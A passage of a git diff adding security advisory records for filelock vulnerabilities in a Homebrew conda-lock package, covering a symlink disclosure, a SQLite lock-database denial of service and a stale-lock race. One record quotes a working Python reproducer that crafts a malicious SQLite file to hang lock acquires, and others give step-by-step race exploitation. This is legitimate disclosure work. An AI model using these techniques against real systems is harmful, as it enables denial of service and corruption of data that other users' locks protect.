who can write the directory of a soft lock learns, for a path of its choosing, whether that path exists and is writable by the user taking the lock. That includes paths under directories the other user cannot search (a `0700` home or project tree; any path when root takes the lock), one bit per acquire it watches, repeatable with a different target each time. The reproducer shows the existence half; a read-only file of the lock user gives the same `PermissionError` as a missing name. The lock opens, creates and modifies nothing through the symlink, and the acquire itself is not redirected. The other user can already deny the lock by planting a marker, so the early `PermissionError` is not a new availability effect. This is the disclosure PR #567 closed, reachable again through the call PR #728 added.\n\n## Workarounds\n\n- Keep soft-lock directories writable only by the lock's own account, or use a sticky world-writable directory on Linux with `fs.protected_symlinks=1` (the default), where the kernel refuses to follow another user's symlink and the check leaks nothing.\n- Do not take soft locks as root in directories other users can write.\n- Where a group-shared directory is unavoidable, give the marker an owner-write bit (the default mode does) and do not rely on ACL-granted access, so the `os.access` branch is not reached for the lock user's own marker. The other user's planted `0466` file still reaches it, so this only narrows the window.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/835\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (36 findings; this one rated medium by the scanner)\n- 2026-10-16 05:38 UTC: draft advisory created (first as part of GHSA-69hj-f68j-2879, then split out)\n- 2026-10-16 01:16 UTC: fix PR #835 opened", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-9j6q-wvj5-jgjg" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112912" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/pull/835" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/commit/e1e825b1992f69fb6b346dc395d5ae4893536c0a" + }, + { + "type": "PACKAGE", + "url": "https://github.com/tox-dev/filelock" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1" + } + ] +} diff --git a/advisories/BREW-conda-lock-CVE-2026-112915.json b/advisories/BREW-conda-lock-CVE-2026-112915.json new file mode 100644 index 00000000000..f003b96b7ac --- /dev/null +++ b/advisories/BREW-conda-lock-CVE-2026-112915.json @@ -0,0 +1,85 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-conda-lock-CVE-2026-112915", + "published": "2026-10-29T21:39:28Z", + "modified": "2026-10-29T21:39:28Z", + "upstream": [ + "GHSA-cwqr-hh33-gh44", + "CVE-2026-112915" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "conda-lock", + "purl": "pkg:brew/conda-lock" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "4.0.0_3" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "4.2.1", + "resource": "filelock", + "resource_purl": "pkg:pypi/filelock@3.32.7" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "filelock", + "subject_version": "3.32.7", + "key": "pkg:pypi/filelock@3.32.7", + "resource": "filelock" + } + ] + }, + "summary": "filelock ReadWriteLock: a crafted lock database makes every acquire stall or hang regardless of timeout", + "details": "`ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) run `PRAGMA journal_mode=MEMORY` on a fresh connection for every acquire. That statement makes SQLite load the whole schema (the `sqlite_master` table, which lists every table and index with its `CREATE` text) of whatever file sits at the lock path. The caller's `timeout` reaches SQLite only as `busy_timeout`, which bounds waits for another connection's lock, not schema loading. The only content checks reject non-regular files and WAL mode (write-ahead log, an SQLite mode that keeps changes in a side file). A local user who can place or overwrite the file at a `ReadWriteLock`'s database path can therefore make every `acquire_read` / `acquire_write` of every process using that lock ignore its `timeout` and `blocking=False`. That position needs a non-sticky shared directory, or a database owned by the user running the lock (below: the lock user) that other users may write.\n\nOne 37 KB crafted file stalls each acquire for as long as its author chooses while the process allocates about 1 GB. A second 28 KB layout makes the acquire of a free lock run without end, spinning at 100% CPU and ignoring Ctrl-C. The effect is availability only: the other user reads nothing and corrupts nothing. Affected versions are filelock 3.20.4 through 4.2.0.\n\nAnthropic's OSS Scanner reported this in private as `ANT-2026-NFPRHMYJ` [medium, CWE-400]: ReadWriteLock: crafted lock database hangs acquire regardless of timeout.\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H` scores 5.5 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `AC:L` (low attack complexity): the other user plants one file; no race. `UI:N` (no user interaction). `A:H` (high availability impact): every acquire of every process using the lock runs for as long as that user chose, or does not return, with `timeout` and `blocking=False` ignored and `SIGINT` not delivered, so only killing the process ends it. `C:N` and `I:N` (no confidentiality or integrity impact): the other user reads nothing and corrupts nothing. `S:U` (scope unchanged).\n\nClassification from the external review: **conditional security**, an availability concern only when an untrusted actor can supply the database file (it needs a writable or replaceable database path). The scanner rated it medium. The review agrees with the mechanism and the precondition.\n\n## Scope and preconditions\n\n- The other party is a different local account that can create or replace the file at the lock path. One way: the lock directory is writable by that account and not sticky (the sticky bit is a directory flag that lets only a file's owner remove or rename it), for example a group-writable project or cache directory. There the account can be the first to create the database, or rename the lock user's database aside and put the crafted one in its place. The other way: the lock user's own database is writable by that account (`0666`), which is the setup a lock shared between accounts needs. In a `1777` directory the scanner wrote the crafted file over such a database in place, and the lock user's next acquire hung. The lock user must be able to open the file read-write, so a file the other user creates is `0666`.\n- Sticky directories and kernel settings. In a sticky world-writable directory such as `/tmp`, Linux with `fs.protected_regular=2` (a kernel setting) refuses the lock user's `O_CREAT` open of a file owned by the other account with `EACCES`. A database owned by the other user does not work there. That does not cover a `0666` database owned by the lock user. The scanner did not test systems with `fs.protected_regular=0` (the kernel's own default).\n- Platform. Every platform runs the same statements. On Windows the documentation already requires a lock directory that untrusted users cannot write, so the shared-directory setup is outside what the project supports there.\n- Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky.\n\n## Affected code\n\nAt the scanned commit `b831496b0273`: [`_configure_and_begin` runs `PRAGMA busy_timeout=...; PRAGMA journal_mode=MEMORY;` on a fresh connection](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L814-L816), and for a read lock [`SELECT name FROM sqlite_master LIMIT 1` at line 832](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L832). The code in [`_do_acquire_inner` closes the previous connection and opens a new one on every acquire](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L745-L754). The only content checks are [`_open_lock_database`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1079-L1091) (regular file) and [`_raise_if_wal`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1094-L1101) (20 header bytes).\n\n## Introduced\n\nThe acquire path dates from `cfd4446` (\"feat(lock): add SQLite-based ReadWriteLock (#399)\", 2026-02-12), first released in **3.20.4** (verified: `git tag --contains cfd4446` gives 3.20.4). Since #657 (3.30.0) the lock reopens the connection on every acquire, so the stall repeats on every acquire rather than once per instance.\n\n## Mechanism\n\n`PRAGMA journal_mode=MEMORY` is the first statement that needs the schema. SQLite reads every row of `sqlite_master` and parses each row's `sql` text there. Run one at a time on the crafted file, `PRAGMA busy_timeout` returns at once and `PRAGMA journal_mode=MEMORY` takes the whole time. The read-mode `SELECT` needs the schema too. The caller's `timeout` reaches SQLite only as `busy_timeout` (lines 814 to 816 and 823 to 826), which limits how long SQLite waits for another connection's file lock. Loading the schema is not a wait, so nothing limits it. `blocking=False` and `timeout=0` reach SQLite as `busy_timeout=0` and stall the same way (2.4 s each with a 5-row file). `acquire_write` runs the same pragma. `AsyncReadWriteLock.read_lock(timeout=1)` stalls the same way (4.7 s with 10 rows; wrapping the acquire in `asyncio.wait_for(..., 2)` does not return earlier). A second `acquire_read` on the same instance stalls for as long as the first.\n\nThe constructor is not affected. Its validation connection (lines 484 and 485) runs no statement, so the lock user sees nothing until the first acquire. A stack dump taken 2 s into the stall shows the thread in `_configure_and_begin` at the `executescript` call. The lock accepts any SQLite file that is a regular file and not in WAL mode, whoever created it. Two layouts reach the load, at the same statement and with the same preconditions.\n\n**Long schema rows.** Each `sqlite_master` row is `('table', 't0001', 't0001', 2, 'CREATE TABLE t0001(x) --AAAA…')` with an `sql` text of 999,999,024 bytes, under SQLite's 1,000,000,000-byte limit. The file does not store the text. Each row's cell names page 2 as its first overflow page (a page that holds the part of a row too large for its own page), and the \"next overflow page\" field of page 2 names page 2 again. SQLite builds each row from the same 4 KB page, read about 244,000 times over. The header claims 244,142 pages, because SQLite rejects a record larger than page size times page count. The script extends the file to that length as a hole (unallocated space that reads as zeros), because SQLite also rejects a file shorter than its header claims. Eight rows fit in one 4 KB leaf page. The statements are valid `CREATE TABLE`s, so SQLite reports no error, and after the stall the acquire succeeds; it does not raise `Timeout`.\n\nMeasured with `read_lock(timeout=1)`: 1 row, 12,288 bytes on disk, returns after 0.6 s; 10 rows, 16,384 bytes, 4.8 s; 50 rows, 36,864 bytes, 23 s. Peak RSS (resident set size, the memory the process holds) is 981 MB in every case, because memory stays at one row's worth; the cost is about 0.47 s per row. Under a 512 MiB address-space limit the same acquire raises `MemoryError` from line 816.\n\n**Looping interior pages.** The long rows are one way in, not the cause: SQLite loads whatever schema the file holds, with no bound. A 20 KB file with no long rows, whose three index pages each point 200 times at the same child page (8,000,000 leaves), stalls `read_lock(timeout=1)` for 8 s with 10 MB of memory. Each extra level multiplies the time by the fan-out (the number of children per page).\n\nAt the largest fan-out SQLite accepts, the stall becomes a hang. In a 28,672-byte file of seven 4 KB pages, pages 1 to 6 are `sqlite_master` interior pages whose 660 cell pointers all name one 5-byte cell. That cell's child and the page's right-most child are both the next page, and page 7 is a leaf with one row of five NULLs. SQLite 3.40.1 refuses a page with more than 681 cells and a tree deeper than 20 pages, but does not notice that it reaches a page more than once. Each level therefore multiplies the rows of `sqlite_master` by 661.\n\nThe row is not a valid schema entry, and that does not stop the scan: SQLite raises `sqlite3.DatabaseError: malformed database schema (?)` only after the last row. One level raises `DatabaseError` at once. Two levels (12 KiB) give 436,921 rows after 0.16 s. Six levels (28 KiB) give 661⁶, about 8 × 10¹⁶ rows, still at line 816 with 30 s of CPU time used when killed after 30 s. On that file `acquire_write(timeout=1)`, `acquire_read(blocking=False)` and `acquire_read(timeout=0)` spin on the same line. `SIGINT` does not raise `KeyboardInterrupt` (the process was still running at 100% CPU 4 s after `kill -INT`), because the thread does not leave the one SQLite call.\n\n## Reproduction\n\nThe scanner's reproducer for `ANT-2026-NFPRHMYJ`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport resource\nimport shutil\nimport subprocess\nimport sys\nimport time\n\n# set up: a cache directory both accounts can write, without the sticky bit\nshared_dir = \"/tmp/shared-cache\"\nshutil.rmtree(shared_dir, ignore_errors=True)\nos.mkdir(shared_dir)\nos.chmod(shared_dir, 0o777)\nlock_db = f\"{shared_dir}/cache.lock.db\"\n\n# attack: the attacker creates the lock database first, with 50 schema rows\nsubprocess.run(\n [sys.executable, \"/tmp/repro.d/make_stalling_db.py\", lock_db, \"50\"],\n user=\"attacker\", group=\"attacker\", extra_groups=[], check=True,\n)\nprint(\"lock database uses\", os.stat(lock_db).st_blocks * 512, \"bytes of disk\", flush=True)\n\n# victim: an application takes the read lock with a one-second timeout\nstarted = time.monotonic()\nsubprocess.run(\n [sys.executable, \"/tmp/repro.d/victim_reader.py\", lock_db],\n user=\"victim\", group=\"victim\", extra_groups=[], timeout=600,\n)\nvictim_ran_for = time.monotonic() - started\n\n# check: with timeout=1 the victim must be done within about a second, either holding the lock or with Timeout\nvictim_peak_rss_mb = resource.getrusage(resource.RUSAGE_CHILDREN).ru_maxrss // 1024 # the victim is the largest child\nprint(f\"victim process ran for {victim_ran_for:.1f} s, peak RSS {victim_peak_rss_mb} MB\")\nprint(\"BUG\" if victim_ran_for > 10 else \"OK\")\n```\n\n**`repro.d/make_stalling_db.py`**\n\n```python\n#!/usr/bin/env python3\n# usage: make_stalling_db.py \n#\n# Writes a SQLite database whose sqlite_master rows each carry ~1 GB of `sql` text, stored in a few 4 KB pages:\n# every row's text continues on one overflow page whose \"next overflow page\" field names itself.\nimport os\nimport struct\nimport sys\n\ndatabase, schema_rows = sys.argv[1], int(sys.argv[2])\n\nPAGE_SIZE = 4096\nLOOP_PAGE = 2\nCOMMENT_LEN = 999_999_000 # keeps each sql text just under SQLite's 1,000,000,000-byte string limit\nCLAIMED_PAGES = COMMENT_LEN // PAGE_SIZE + 2 # SQLite refuses a record longer than page size x pages in the file\nTABLE_INTERIOR_PAGE, TABLE_LEAF_PAGE = 0x05, 0x0D\n\n\ndef varint(value):\n groups = [value & 0x7F]\n while value := value >> 7:\n groups.insert(0, value & 0x7F | 0x80)\n return bytes(groups)\n\n\ndef schema_row_cell(rowid):\n # the row ('table', name, name, 2, 'CREATE TABLE name(x) --AAAA...'): a valid statement, so SQLite reports no error\n name = b\"t%04d\" % rowid\n sql_start = b\"CREATE TABLE \" + name + b\"(x) --\"\n sql_len = len(sql_start) + COMMENT_LEN\n serial_types = b\"\".join(varint(t) for t in [13 + 2 * 5, 13 + 2 * len(name), 13 + 2 * len(name), 1, 13 + 2 * sql_len])\n record_start = varint(1 + len(serial_types)) + serial_types + b\"table\" + name + name + b\"\\x02\" + sql_start\n record_len = len(record_start) + COMMENT_LEN\n # the file format's rule for how much of an overflowing table-leaf record stays on the leaf page\n min_local, max_local = (PAGE_SIZE - 12) * 32 // 255 - 23, PAGE_SIZE - 35\n local = min_local + (record_len - min_local) % (PAGE_SIZE - 4)\n if local > max_local:\n local = min_local\n return varint(record_len) + varint(rowid) + record_start.ljust(local, b\"A\") + struct.pack(\">I\", LOOP_PAGE)\n\n\ndef btree_page(page_type, cells, right_child=b\"\", header_offset=0):\n page = bytearray(PAGE_SIZE)\n content_start = PAGE_SIZE\n cell_pointers = b\"\"\n for cell in cells:\n content_start -= len(cell)\n page[content_start : content_start + len(cell)] = cell\n cell_pointers += struct.pack(\">H\", content_start)\n header = struct.pack(\">BHHHB\", page_type, 0, len(cells), content_start, 0) + right_child + cell_pointers\n page[header_offset : header_offset + len(header)] = header\n return page\n\n\n# pages 3 and up: the leaves of sqlite_master, about eight rows each\ncells = [schema_row_cell(rowid) for rowid in range(1, schema_rows + 1)]\nrows_per_leaf = (PAGE_SIZE - 8) // (len(cells[0]) + 2)\nleaves = [btree_page(TABLE_LEAF_PAGE, cells[i : i + rows_per_leaf]) for i in range(0, schema_rows, rows_per_leaf)]\n\n# page 2: the overflow page, pointing at itself, then 4092 bytes of comment text\nloop_page = struct.pack(\">I\", LOOP_PAGE) + b\"A\" * (PAGE_SIZE - 4)\n\n# page 1: the database header, then the root of sqlite_master with one child per leaf\nfirst_leaf, last_leaf = 3, 3 + len(leaves) - 1\nchildren = [struct.pack(\">I\", first_leaf + i) + varint((i + 1) * rows_per_leaf) for i in range(len(leaves) - 1)]\nroot_page = btree_page(TABLE_INTERIOR_PAGE, children, right_child=struct.pack(\">I\", last_leaf), header_offset=100)\nroot_page[:100] = b\"\".join([\n b\"SQLite format 3\\0\",\n struct.pack(\">H\", PAGE_SIZE),\n bytes([1, 1]), # file format versions: rollback journal, not WAL (which ReadWriteLock refuses)\n bytes([0, 64, 32, 32]), # reserved bytes per page and the three fixed payload fractions\n struct.pack(\">I\", 1), # file change counter\n struct.pack(\">I\", CLAIMED_PAGES), # database size in pages\n struct.pack(\">II\", 0, 0), # no freelist\n struct.pack(\">II\", 1, 4), # schema cookie, schema format\n struct.pack(\">II\", 0, 0), # default cache size, no auto-vacuum\n struct.pack(\">I\", 1), # text encoding: UTF-8\n struct.pack(\">III\", 0, 0, 0), # user version, incremental vacuum, application id\n bytes(20),\n struct.pack(\">I\", 1), # version-valid-for equals the change counter, so SQLite trusts the page count above\n struct.pack(\">I\", 3040001), # SQLite version that wrote the file\n])\n\nwith open(database, \"wb\") as file:\n file.write(root_page + loop_page + b\"\".join(leaves))\n written = file.tell()\n file.truncate(CLAIMED_PAGES * PAGE_SIZE) # SQLite also refuses a file shorter than it claims; this stays a hole\nos.chmod(database, 0o666) # the victim's ReadWriteLock opens the database read-write\nprint(f\"attacker: wrote {database}: {schema_rows} schema rows in {written} bytes, apparent size {CLAIMED_PAGES * PAGE_SIZE}\")\n```\n\n**`repro.d/victim_reader.py`**\n\n```python\nimport sys\nimport time\n\nfrom filelock import ReadWriteLock, Timeout\n\nlock = ReadWriteLock(sys.argv[1])\nstarted = time.monotonic()\ntry:\n with lock.read_lock(timeout=1):\n outcome = \"acquired\"\nexcept Timeout:\n outcome = \"timed out\"\nprint(f\"victim: read_lock(timeout=1) {outcome} after {time.monotonic() - started:.1f} s\")\n```\n\n## Failure sequence\n\n```mermaid\nflowchart TB\n P0[\"other user puts a crafted SQLite file at the lock path (mode 0666), or overwrites a 0666 database owned by the lock user\"] --> P1[\"lock user's acquire_read(timeout=1) opens a fresh connection, header is not WAL so it is accepted\"]\n P1 --> P2[\"PRAGMA busy_timeout then PRAGMA journal_mode=MEMORY loads all of sqlite_master, busy_timeout does not apply to schema loading\"]\n P2 --> P3[\"50 rows of ~1 GB through one self-referencing overflow page: returns after 24.6 s at 981 MB RSS, lock granted, no Timeout\"]\n P2 --> P4[\"6 interior levels pointing at one child (28 KiB): 661^6 rows, does not return, 100% CPU, SIGINT ignored, process must be killed\"]\n classDef ok fill:#d8f3dc,stroke:#2d6a4f,color:#1b4332;\n classDef bad fill:#ffd6d6,stroke:#c1121f,color:#5c0000;\n classDef info fill:#cfe4ff,stroke:#1f6feb,color:#0b1f3a;\n class P0,P1,P2 info;\n class P3,P4 bad;\n```\n\n## Evidence\n\nThe scanner's reproducer runs as root and drops to `attacker` and `victim`. It recreates `/tmp/shared-cache` with mode `0777` and no sticky bit. It runs `make_stalling_db.py /tmp/shared-cache/cache.lock.db 50` as `attacker`. That script writes the header and the `sqlite_master` root on page 1, the self-referencing overflow page on page 2, and leaf pages holding 50 valid `CREATE TABLE tNNNN(x) --AAAA…` rows whose text runs to under 1 GB through page 2, extended to the claimed page count as a hole, mode `0666`. It then runs `victim_reader.py` (`ReadWriteLock(path)` and one `with lock.read_lock(timeout=1):`) as `victim` and times it:\n\n```\nattacker: wrote /tmp/shared-cache/cache.lock.db: 50 schema rows in 36864 bytes, apparent size 1000005632\nlock database uses 36864 bytes of disk\nvictim: read_lock(timeout=1) acquired after 24.6 s\nvictim process ran for 24.8 s, peak RSS 981 MB\nBUG\n```\n\nThe verdict is `BUG` when the `victim` process, whose only work is an acquire with a one-second timeout, ran for more than 10 s. A separate script in the report (`looping_db.py`) builds the looping file; the same `victim_reader.py` run on it as `victim` does not return. A `victim` process that had already used the lock stalled on its next acquire after the other user swapped the file under it. In a `1777` directory a `0666` database owned by `victim`, overwritten in place with the looping file, hung the next acquire.\n\nOur verification: `BUG` on the scanned commit `b831496` and on the 4.2.0 image (`e2e7d70`). On the PR #834 head the `victim` process stops with a `ValueError` after 0.1 s at 24 MB peak RSS and the reproducer prints `OK`.\n\n## Impact\n\nAnother local user who can create or replace the lock database makes every `acquire_read` / `acquire_write` of every process using that `ReadWriteLock` run for a time of their choosing (about 500 bytes of disk per extra half second) while allocating about 1 GB, or not return at all, regardless of `timeout` or `blocking=False`. This goes beyond what holding the lock gives that user, because a held lock ends in `Timeout` when the caller's timeout runs out, and this does not. With the looping-page layout the acquiring thread spins at 100% of one CPU on a free lock, `Timeout` is not raised, Ctrl-C does not interrupt it, and only killing the process ends it. It is a denial of service of the lock user's process only: it reads nothing and corrupts nothing, and in the long-row case the lock is still granted afterwards.\n\n## Workarounds\n\n- Keep the `ReadWriteLock` database in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky.\n- Do not give the lock a database another account may write. The lock creates its database `0600`, and leaving it that way keeps other accounts from supplying its content. A lock shared between accounts through a `0666` database stays reachable even in `/tmp`.\n- If a stall or hang appears, the file at the lock path is the cause; replacing it with an empty file restores the lock.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/834\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (scan `filelock-20261015-005` of commit `b831496b0273`)\n- 2026-10-16 05:38 UTC: draft advisory GHSA-v4x8-3wr5-3wq8 created for the group; this per-finding draft split out of it\n- 2026-10-16 01:15 UTC: fix PR #834 opened", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-cwqr-hh33-gh44" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112915" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/pull/834" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/commit/5e3f2ec0c5fb17cb2635b60b2b68bc63ab81ca2d" + }, + { + "type": "PACKAGE", + "url": "https://github.com/tox-dev/filelock" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1" + } + ] +} diff --git a/advisories/BREW-conda-lock-CVE-2026-112935.json b/advisories/BREW-conda-lock-CVE-2026-112935.json new file mode 100644 index 00000000000..ccdb8099384 --- /dev/null +++ b/advisories/BREW-conda-lock-CVE-2026-112935.json @@ -0,0 +1,85 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-conda-lock-CVE-2026-112935", + "published": "2026-10-29T21:39:28Z", + "modified": "2026-10-29T21:39:28Z", + "upstream": [ + "GHSA-fq56-3cx3-fjxp", + "CVE-2026-112935" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "conda-lock", + "purl": "pkg:brew/conda-lock" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "4.0.0_3" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "4.2.1", + "resource": "filelock", + "resource_purl": "pkg:pypi/filelock@3.32.7" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "filelock", + "subject_version": "3.32.7", + "key": "pkg:pypi/filelock@3.32.7", + "resource": "filelock" + } + ] + }, + "summary": "filelock: SoftFileLock stale-lock break removes a live lock file on a reused inode number and admits two holders", + "details": "The stale-lock break shared by `SoftFileLock`, `MarkerSoftFileLock` and `SoftFileLease` (and their async variants, and a `FileLock` that has fallen back to a soft lock on `ENOSYS`, the \"not implemented\" error) recognises the marker it judged stale by two values. The marker is the lock file at ``, whose presence says a process holds the lock. The values are its inode number (the kernel's identity for a file, independent of its name) and its modification time (mtime) not being newer. The check runs after the contender has already closed the marker, so nothing keeps the inode allocated.\n\nOn a filesystem that hands a freed inode number straight to the next file (ext4, xfs, overlayfs on them) the next holder's marker can carry that number. A contender still between its read and its break then renames and unlinks the live marker. Another local user (the other user below) who can create files in the lock's directory, a sticky `/tmp` included (the sticky bit is a directory flag that lets only a file's owner remove it), forces this at will. It plants a marker with a stale owner record and a modification time in the future and unlinks it as soon as a contender has read it. Two processes of the user running the lock (the lock user below) then hold the same default-configured lock at once, and nothing raises or logs. Affected versions: filelock >= 3.22.0 and <= 4.2.0 (finding `ANT-2026-KIIS96IX`).\n\n## Severity\n\n**CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N, 4.7 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): a race, though one the other user starts, lengthens (by making the lock user's `/proc` read slow) and retries at every release. The scanner measured 10 to 26 overlaps per 20-second run. `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the lock user's processes act on their own. `C:N` (no confidentiality impact): the other user reads nothing. `I:H` (high integrity impact): two holders write the data the lock protects, and neither learns of the other. `A:N` (no availability impact): the lock keeps working.\n\nClassification from the review: security, conditional on a sticky shared directory, ext4-style inode reuse and at least two contenders of the lock user. Our review verified it across UIDs (a UID is a user account's numeric id): the other user as uid 1001, the lock user's processes as uid 1000, BUG on 4.2.0 over ext4. The scanner rated it high (CWE-367).\n\n## Scope and preconditions\n\n- The other user can create files in the lock's directory; a root-owned `1777` directory such as `/tmp` or `/var/tmp` is enough. It creates, `utime`s (sets the timestamps of) and unlinks only its own file. The sticky bit stops it removing the lock user's marker (checked: `EPERM`, operation not permitted), so the lock user's own stale break does the deletion.\n- The directory is on a filesystem that hands a freed inode number straight to the next file. ext4 does (six create/unlink rounds returned one number six times, in the image's overlayfs `/tmp` and on a loop-mounted ext4), and xfs does. tmpfs returned six increasing numbers and the same run there gave no overlap, and btrfs does not hand a freed number back.\n- The lock user has at least two processes contending for the lock, and the displaced holder is still inside when the next contender polls (the breaker itself comes back one `poll_interval`, 50 ms by default, later).\n- The lock is `SoftFileLock`, `MarkerSoftFileLock` or `SoftFileLease` (or async forms). The default `flock`-based `FileLock` joins them only after it has fallen back to `SoftFileLock` on `ENOSYS`. `StrictSoftFileLock` does not call `break_lock_file`, so it is not affected.\n- The same overlap also occurs with no other user involved, under heavy same-account contention, when a contender breaks a dead holder's marker and a successor creates its marker within the same timestamp tick (about once in 750 crashes with 64 workers on a 2-CPU machine, not on tmpfs).\n\nfilelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.\n\n## Affected code\n\nAt the scanned commit b831496, the re-check sits in [`break_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L113-L118). Its callers are [`SoftFileLock._try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123), [`MarkerSoftFileLock._try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_marker.py#L74-L81) and [`SoftFileLease._try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_lease.py#L229-L256). The reader [`_read_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L312-L334) closes the judged marker before the verdict.\n\n## Introduced\n\ne35c3afac473 (\"feat(soft): detect and break stale locks\", #476, 2026-02-13), first released in 3.22.0 (verified against the tags). Every release since, up to 4.2.0, carries the check.\n\n## Mechanism\n\n`_try_break_stale_lock` reads the marker through `_read_lock_file` (`lstat`, `O_RDONLY | O_NONBLOCK | O_NOFOLLOW` open, `fstat`, read, `close`), decides with `owner_is_stale` that the owner is gone, and calls `break_lock_file(lock_file, mtime, ino)`:\n\n```python\n# src/filelock/_util.py:113-118\nif (current := os.lstat(lock_file)).st_mtime > mtime_before or current.st_ino != ino_before:\n return\nbreak_path: Final[str] = f\"{lock_file}.break.{os.getpid()}.{secrets.token_hex(16)}\"\nPath(lock_file).rename(break_path)\nif (st_after := os.lstat(break_path)).st_mtime <= mtime_before and st_after.st_ino == ino_before:\n Path(break_path).unlink()\n```\n\nBetween the `close` in `_read_lock_file` and the `lstat` on line 113 nothing keeps the inode allocated. An inode number identifies a file only while something holds that inode. The release path already says so (\"Our open descriptor keeps the inode allocated, so its number cannot name a successor's marker yet\"); the break path does not. That leaves the modification time, which the file's owner sets to any value and which the code compares by order. With two jobs A and B of the lock user and the other user:\n\n1. The other user creates `app.lock` (inode `I`) with the record `\\n\\n1\\n` and sets its time to the year 2100 with `os.utime()`. A live PID with a wrong start token (the value that identifies one incarnation of a PID) is a recycled PID, so every contender judges the owner stale. On its own this marker only makes the lock user's processes wait: they cannot rename another user's file in a sticky directory (`EPERM`, and `acquire(timeout=1)` raises `Timeout`).\n2. A polls, reads `(record, mtime=2100, ino=I)`, closes the file and enters `owner_is_stale()`.\n3. The other user unlinks its marker. Inode `I` is free.\n4. B polls. The path is empty, so `O_EXCL` (create only if absent) succeeds and ext4 gives the new marker inode number `I`. B holds the lock.\n5. A reaches line 113 and looks at B's marker: its time (now) is not newer than 2100 and its inode number is `I`. A renames it (it is the lock user's own file, so the sticky bit does not object), line 117 passes for the same reason, and line 118 unlinks the live marker.\n6. The path is empty again while B is still inside. The next contender to poll, A included, creates its marker and holds the lock as well.\n\nWhen B releases, `_unlink_open_marker` finds another file at the path and leaves it alone, so neither side raises or logs anything. This is not the documented rename/link-back window: the code does not take the link-back branch and leaves no `app.lock.break.*` file behind. With a marker dated 2000, line 113 sees a newer time on B's marker and returns.\n\nThe other user does not need luck for the timing of step 3. It sees A's `close()` through inotify (a Linux facility that reports file events; here `IN_CLOSE_NOWRITE` on its own file), and it chooses how 